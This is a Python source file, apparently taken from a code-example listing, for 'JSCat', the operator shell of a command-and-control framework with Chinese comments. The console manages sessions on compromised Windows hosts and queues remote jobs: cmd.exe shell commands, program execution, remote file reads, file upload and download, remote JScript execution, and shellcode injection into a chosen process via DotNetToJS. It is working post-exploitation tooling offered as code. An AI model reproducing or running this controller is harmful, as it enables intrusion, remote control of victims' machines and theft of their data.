Exemple #1
0
class Shell():
    def __init__(self, ):
        self.session = Session()
        self.PROMPT_MSG = 'JSCat >'
        self.CMD_SESSION = None
        self.input = PromptSession()

        self.alias = {
            'ls': 'dir ',
            'kill': 'taskkill /F /PID ',
            'ipconfig': 'ipconfig ',
            'ifconfig': 'ipconfig ',
            'netstat': 'netstat ',
            'whoami': 'whoami /user',
            'net': 'net ',
            'wimc': 'wimc ',
        }

    def __show_alias(self):
        print('{:>20}: {}'.format(BOLD('ALIAS_NAME'), BOLD('SHELL_CMD')))
        for alias_name, cmd in self.alias.items():
            print('{:>20}: {}'.format(BOLD(alias_name), cmd))

    def __print_session_help(self):
        print('Usage:')
        print('\t{}: list all sessions'.format(BOLD('sessions | s')))
        print('\t{} [sessionID]: interactive cmd with sessionID'.format(
            BOLD('sessions | s -i')))
        print('\t{} [sessionID]: show one session detail'.format(
            BOLD('sessions | s -v')))
        print('\t{} [sessionID]: remove one session'.format(
            BOLD('sessions | s -r')))
        print('\t{}: exit'.format(BOLD('exit/quit')))

    def __print_cmd_help(self):
        print('Usage:')
        print('\t{}: get system info'.format(BOLD('info')))
        print('\t{} [seconds]: set sleep time'.format(BOLD('sleep')))
        print('\t{}: show process list'.format(BOLD('ps')))
        print('\t{} [path_file]: show remote file context'.format(BOLD('cat')))
        print('\t{} [cmd]: run program and return'.format(BOLD('run')))
        print('\t{} [cmd]: execute shell command'.format(BOLD('shell')))
        print('\t{} [local_file] [remote_file]: upload file'.format(
            BOLD('upload')))
        print('\t{} [local_file] [remote_file]: download file'.format(
            BOLD('download')))
        print('\t{} [local_pathname]: run jscript file in remote host'.format(
            BOLD('js run')))
        print(
            '\t{} [base64_shellcode | -f shellcode_raw_file] [pid]: inject shellcode  by DotNetToJS\n\t\t(shellcode is bas64encoded or raw file)'
            .format(BOLD('inject')))
        print('\t{}: show session jobs'.format(BOLD('jobs')))
        print('\t{}: show shell alias name'.format(BOLD('alias')))
        print('\t{}: exit current session'.format(BOLD('back')))

    '''
    执行文件上传、下载命令
    '''

    def __parse_cmd_upload_download(self, action, text):
        args_commands = shlex.split(text)
        if len(args_commands) != 3:
            print(
                'usage:{} [local_pathname] [remote_pathname[]'.format(action))
        else:
            if action == 'upload' and not os.path.exists(args_commands[1]):
                print('file {} not exist!'.format(args_commands[1]))
            else:
                self.CMD_SESSION['job'].add_job(
                    action,
                    local_pathname=args_commands[1],
                    remote_pathname=args_commands[2])

    '''
    执行运行jscript命令
    '''

    def __parse_cmd_js_run(self, action, text):
        args_commands = shlex.split(text)
        if len(args_commands) == 3 and args_commands[1] == 'run':
            if not os.path.exists(args_commands[2]):
                print('file {} not exist!'.format(args_commands[2]))
            else:
                self.CMD_SESSION['job'].add_job(
                    action, local_pathname=args_commands[2])
        else:
            print('usage:{} run [local_pathname]'.format(action))

    '''
    执行注入命令
    '''

    def __parse_cmd_inject(self, action, text):
        args_commands = shlex.split(text)
        if len(args_commands) == 1:
            print(
                'usage:inject [base64_shellcode | -f shellcode_raw_file] [pid]'
            )
        else:
            # shellcode位于文件中
            if args_commands[1].strip() == '-f':
                if len(args_commands) <= 2:
                    print('usage:inject -f [shellcode_raw_file] [pid]')
                else:
                    if not os.path.exists(args_commands[2]):
                        print('file {} not exists'.format(args_commands[2]))
                    else:
                        with open(args_commands[2], 'rb') as f:
                            shellcode = b64encode(f.read()).decode()
                        pid = args_commands[3] if len(
                            args_commands) > 3 else '0'
                        self.CMD_SESSION['job'].add_job(action,
                                                        shellcode=shellcode,
                                                        pid=pid)
            # shellcode是base64编码
            else:
                shellcode = args_commands[1]
                pid = args_commands[2] if len(args_commands) > 2 else '0'
                self.CMD_SESSION['job'].add_job(action,
                                                shellcode=args_commands[1],
                                                pid=pid)

    '''
    交互式执行命令
    '''

    def parse_cmd(self, commands, action, args, text):
        if not self.CMD_SESSION or action == 'back' or action == 'exit' or action == 'quit':
            self.CMD_SESSION = None
            self.PROMPT_MSG = 'JSCat >'
        elif action == 'help':
            self.__print_cmd_help()
        elif action == 'alias':
            self.__show_alias()
        elif action == 'info':
            self.CMD_SESSION['job'].add_job(action)
        elif action == 'ps':
            self.CMD_SESSION['job'].add_job(action)
        # 设置sleep时间
        elif action == 'sleep' and len(commands) == 2:
            try:
                self.CMD_SESSION['job'].add_job('sleep',
                                                sleep=str(int(commands[1])))
            except Exception as ex:
                print('[-]{}'.format(ex))
        # 执行shell命令
        elif action == 'shell':
            self.CMD_SESSION['job'].add_job('shell',
                                            cmd='cmd.exe /c {}'.format(args))
        # 在远程主机上运行程序
        elif action == 'run':
            self.CMD_SESSION['job'].add_job(action, cmd=args)
        # 显示远程主机文本内容
        elif action == 'cat':
            self.CMD_SESSION['job'].add_job(action, remote_pathname=args)
        # 上传和下载
        elif action == 'upload' or action == 'download':
            self.__parse_cmd_upload_download(action, text)
        elif action in self.alias:
            self.CMD_SESSION['job'].add_job('shell',
                                            cmd='cmd.exe /c {} {}'.format(
                                                self.alias.get(action), args))
        # 加载jscript脚本运行
        elif action == 'js':
            self.__parse_cmd_js_run(action, text)
        # shellcode 注入
        elif action == 'inject':
            self.__parse_cmd_inject(action, text)
        # 显示当前session的所有任务
        elif action == 'jobs':
            self.CMD_SESSION['job'].list_jobs()

    '''
    session命令
    '''

    def __parse_session_s(self, commands, args):
        if len(commands) < 3:
            self.session.list_sessions()
            return
        s = self.session.get_session(int(commands[2]))
        if not s:
            return
        if commands[1] == '-i':
            # 与指定SID进行交互式命令
            self.CMD_SESSION = s
            self.PROMPT_MSG = 'JSCat({})(SID:{}) >'.format(
                s['client_ip'], s['id'])
        elif commands[1] == '-v':
            # 显示一个SID的详细情况
            self.session.show_session_detail(int(commands[2]))
        elif commands[1] == '-k':
            # KILL SID
            confirm = self.input.prompt(
                'Confirm Kill Session:YES(y)/No(enter)?')
            if confirm == 'y':
                s['job'].add_job('kill')
        elif commands[1] == '-r':
            # 移除SID
            confirm = self.input.prompt(
                'Confirm Remove Session:YES(y)/No(enter)?')
            if confirm == 'y':
                self.session.remove_session(int(commands[2]))

    '''
    session管理
    '''

    def parse_session(self, commands, action, args):
        if action == 'sessions' or action == 's':
            self.__parse_session_s(commands, args)
        elif action == 'help':
            self.__print_session_help()
        elif action == 'exit' or action == 'quit':
            confirm = self.input.prompt('Confirm Exit:YES(y)/No(enter)?')
            return False if confirm == 'y' else True

        return True

    '''
    获取输入的命令并进行解析
    '''

    def get_command(self):
        try:
            text = self.input.prompt(self.PROMPT_MSG)
            if text.strip():
                Log.log_message(text, log_type=Log.CMD, output=False)
        except KeyboardInterrupt:
            confirm = self.input.prompt('Confirm Exit:YES(y)/No(enter)?')
            return False if confirm == 'y' else True
        # 为了确保路径能在windows里能正确执行,对\进行转义
        text = text.strip().replace('\\', '\\\\').replace('"', '\\"')
        # 按空格进行分隔参数
        commands = text.split(' ')
        if len(commands) == 0:
            return True

        # 命令与参数
        action = commands[0].strip()
        args = ' '.join([commands[x] for x in range(1, len(commands))])

        if self.CMD_SESSION:
            # 解析交互式命令
            self.parse_cmd(commands, action, args, text)
        else:
            # 解析session管理
            return self.parse_session(commands, action, args)

        return True